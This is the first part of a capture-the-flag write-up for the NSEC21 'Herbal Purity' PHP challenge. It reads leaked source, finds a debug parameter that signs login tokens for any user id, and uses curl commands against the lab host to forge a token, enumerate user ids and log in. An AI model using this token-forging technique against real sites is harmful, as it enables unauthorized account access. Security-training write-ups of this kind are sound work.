NSEC21 Herbal Purity (1/3) - Wed, May 26, 2021 - Jean Privat Sideni
Clean Your Body and Your PHP Code | Web Php | Nsec21
Modern kingdoms mean modern plagues. While you can’t get rid of rats, you can purify your body thanks to nature’s bountiful healing.
How Long Will They be Incapable of Purity?
We want to purify our bodies!
We have a Due to a large number of applications, we do not accept applications at this time.
So let’s log in.
We can’t log in, but we have the source code… It’s something.
I Have a Personal Home Page Among My Own People
The archive contains the source code of the whole PHP application.
$ tar xvf source.tar.gz
var/www/html/
var/www/html/appointments.php
var/www/html/create_appointments.php
var/www/html/create_followers.php
var/www/html/create_healers.php
var/www/html/create_products.php
var/www/html/edit_appointments.php
var/www/html/edit_followers.php
var/www/html/edit_healers.php
var/www/html/edit_products.php
var/www/html/followers.php
var/www/html/healers.php
var/www/html/include/
var/www/html/include/Appointments.php
var/www/html/include/CreatePage.php
var/www/html/include/EditPage.php
var/www/html/include/Flash.php
var/www/html/include/Followers.php
var/www/html/include/Form.php
var/www/html/include/Healers.php
var/www/html/include/IndexPage.php
var/www/html/include/ListPage.php
var/www/html/include/LoginPage.php
var/www/html/include/Model.php
var/www/html/include/Page.php
var/www/html/include/Products.php
var/www/html/include/ResetPage.php
var/www/html/include/Search.php
var/www/html/include/SearchForm.php
var/www/html/include/Table.php
var/www/html/include/Template.php
var/www/html/include/Token.php
var/www/html/include/Utils.php
var/www/html/include/functions.php
var/www/html/include/init.php
var/www/html/include/styles.css
var/www/html/include/templates/
var/www/html/include/templates/create.template
var/www/html/include/templates/edit.template
var/www/html/include/templates/home.template
var/www/html/include/templates/index.template
var/www/html/include/templates/layout.template
var/www/html/include/templates/login.template
var/www/html/include/templates/nav.template
var/www/html/include/templates/reset.template
var/www/html/index.html
var/www/html/index.php
var/www/html/login.php
var/www/html/products.php
var/www/html/public/
var/www/html/public/exclusive-paper.png
var/www/html/public/image.png
It is impressive, usually CTF challenges are just a bunch of minimalist pieces of code.
Nevertheless, we do not want to dig in unclean PHP code (yet), so
Start with the beginning, visit available pages. But all require us to login.
Nothing Unclean Will Ever Enter It
We need to check the code now. Which part do we look at first? What are we looking for? (since there is no flag in the source code) Maybe check what is required to enter in the pages?
Inside include/Pages.php
:
public function requireLogin() {
$redirect = false;
if(isset($_SESSION['user_id']) && empty((new Healers)->get($_SESSION['user_id']))) {
$_SESSION['user_id'] = null;
}
if($this->admin === true) {
if(!isset($_SESSION['user_id']) || !isset($_SESSION['admin_user_id']) || $_SESSION['user_id'] != $_SESSION['admin_user_id']) {
$this->flash->info('Access denied: only admin can access this page');
return $this->redirect('index.php');
}
}
if(empty($_SESSION['user_id'])) {
$this->flash->info('Please log in');
$this->redirect('login.php');
}
}
At the end: we need an user_id
in the php session or else we have to login.
At the beginning: if the user_id
is set but not associated to a valid user (healer), then it is silently dropped.
In the middle: some pages also require the user to be admin.
Enter Through the Narrow Gate
So let’s check the login page.
Inside include/include/LoginPage.php
:
class LoginPage extends Page {
public function setup() {
$this->nav = false;
if(isset($_COOKIE['token'])) {
$token = Token::parse($_COOKIE['token']);
if(isset($token->user_id)) {
$_SESSION['user_id'] = $token->user_id;
setcookie('token', null, -1, '/');
}
}
$logged_in = false;
if(isset($_SESSION['user_id'])) {
$logged_in = true;
}
Oh, if we have a token, we can enter.
Cursed is Anyone Who Makes an Idol and Sets it up in Secret
What is Token::parse
? It is in include/Token.php
:
class Token {
public static function parse(string $token) {
$parts = explode(".", $token);
if(count($parts) != 2) {
return false;
}
list($claims, $signature) = $parts;
$real_signature = hash_hmac("sha1", "v1.$claims", self::secret());
if($real_signature != $signature) {
return false;
}
return json_decode(base64url_decode($claims)^str_repeat("X", strlen($claims)));
}
public static function sign($claims) {
$claims = json_encode($claims);
$claims = $claims^str_repeat("X", strlen($claims));
$claims = base64url_encode($claims);
$signature = hash_hmac("sha1", "v1.$claims", self::secret());
return "$claims.$signature";
}
public static function secret() {
return file_get_contents("/secret");
}
}
The token is a two part string, the first part is some data (in json + base64 + xored with X
).
The second part is a HMAC with sha1 and some unknown secret key read from a file in the root directory (we like secrets, we want it, precious secret!)
Unfortunately, we do not see any kind of flaws in this piece of code that we could exploit.
Oh, there is something more in the file.
if(Utils::param('debug')) {
$t = new Token;
$token = $t->sign(['user_id' => Utils::param('id'), 'iat' => time()]);
var_dump($token);
}
Some kind of debug mode that generate tokens for a given user id.
Could we simply use it to generate a valid id?
Possibly, but we need to force php to load the file by using the Token
class:
- Ask for the
login.php
page - Have a non false
token
cookie - Have a non false
debug
parameter (get or post) - Have a
id
parameter (get or post)
$ curl herbal-purity.ctf/login.php -b token=1 -d debug=1 -d id=1 -s | head -n 1
string(85) "I3otKz0qBzE8emJ6aXp0ejE5LHpiaW5qamhubmhgbSU.9270a520065af8ae7e63fc99b79ed2c99048dfaf"
Lets try to connect with this one
$ curl herbal-purity.ctf/login.php -b token=I3otKz0qBzE8emI2LTQ0dHoxOSx6Ymluampobm1ubmkl.467bc12b5bd53709ee4b4b8f4c53981122e48ff1
Nothing :(
He Took What They Handed Him And Made It Into An ID
Why, because 1
might not be a valid user id since invalid id are silently dropped.
What is a valid id anyway? Let’s dig in the code:
- In
Page.php
:if(isset($_SESSION['user_id']) && empty((new Healers)->get($_SESSION['user_id']))) {
- In
Healer.php
:class Healers extends Model {
- In
Model.pho
:
#[...]
self::$instance = new SQLite3('../db.sqlite3');
#[...]
public function get(int $id) {
$query = $this->connection()->query("select * from {$this->table} where id = {$id} limit 1");
return $query->fetchArray(SQLITE3_ASSOC);
}
So, there is a sqlite3 database (at ../db.sqlite3
) with a healers
tables and with an id
column that is an integer.
Some integers, should be a valid id
.
1
is not valid. What about 2
? If not, let’s try 3
, and so on…
There is a lot of integers, but we can enumerate fast enough and we have a lot of time!
In fact, id=13
is a valid healer, that was fast!
Let’s generate a token for healer #13 and try to log in.
We got the first flag (it was in /motd
), displayed after a successful login.
if($logged_in) {
$this->flash->info('Welcome! ' . file_get_contents("/motd"));
$this->redirect('index.php');
}
We are authenticated, so just keep the PHPSESSION
cookie for now and future requests.
The second flag is in part 2